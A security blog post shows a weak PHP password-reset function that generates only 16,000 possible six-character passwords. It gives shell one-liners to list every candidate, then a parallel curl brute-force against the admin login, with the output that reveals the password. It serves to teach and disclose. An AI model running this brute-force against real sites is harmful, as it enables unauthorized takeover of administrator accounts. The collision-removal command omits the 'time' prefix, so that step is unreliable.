Hey,
In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.
The code
First, let’s take a look at the code:
<?php
if (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail']))
{
// generate a random new pass
$user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);
$query = "update config set password=MD5('$user_pass') where [...]"
if(mysql_query($query))
{
// ...
?>
The vulnerability
The vulnerability lies in the password generation:
$user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);
The new password generated is the md5() of the literal string ‘time’ (not the current time, the word “time”) concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:
$ seq 1 16000 | xargs -I XXX sh -c "echo timeXXX | md5sum | cut -b1-6"
or, another way:
$ for i in `seq 1 16000`; do echo "time$i" | md5sum | cut -b1-6
(By the way, for more information on using xargs, check out a really awesome blog posting called Taco Bell Programming - it’s like real programming, but you can’t legally call it “beef”)
In either case, you’ll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:
$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq
If you do that, you’ll wind up with 15,993 different passwords, ranging from ‘000b64’ to ‘fffcc0’. Now all that’s left is to try these 15,993 passwords against the site!
The attack
You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you’re feeling really adventurous, you can write a quick config file for http-enum.nse. If anybody takes the time to replicate this with http-enum.nse, you’ll win an Internet from me. I promise.
But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that’s different. Done!
So, to download a single page, we’d use:
$ curl -s -o XXX.out -d "user=admin&password=XXX" <site>/admin/?x=login
This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:
$ cat passwords.txt | xargs -P32 -I XXX curl -s -o XXX.out \
-d "user=admin&password=XXX" <site>/admin/?x=login
Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named <password>.out. Now all we have to do figure out which one’s different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:
$ md5sum *.out | head 96ffbb1ba380de9fc9e7a3fe316ff631 000176.out 96ffbb1ba380de9fc9e7a3fe316ff631 0014c2.out 96ffbb1ba380de9fc9e7a3fe316ff631 001e7e.out 96ffbb1ba380de9fc9e7a3fe316ff631 002035.out 96ffbb1ba380de9fc9e7a3fe316ff631 00217c.out 96ffbb1ba380de9fc9e7a3fe316ff631 002c47.out 96ffbb1ba380de9fc9e7a3fe316ff631 003b9e.out 96ffbb1ba380de9fc9e7a3fe316ff631 004bff.out 96ffbb1ba380de9fc9e7a3fe316ff631 0057b8.out 96ffbb1ba380de9fc9e7a3fe316ff631 008dea.out
Sure enough, it’s tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that’s different:
$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631 d41d8cd98f00b204e9800998ecf8427e b19261.out
And bam! We now know the password is “b19261”.
Conclusion
So there you have it - abusing a password reset to log into an account you shouldn’t. And remember, even though we didn’t test this with 1,000,000 possible passwords like last week’s blog, it would only take about 60 times as long - so instead of a few minutes, it’d be a few hours. And as I said last week, that million-password reset form was actually pretty common.
And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It’s towards the end of my talk.
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...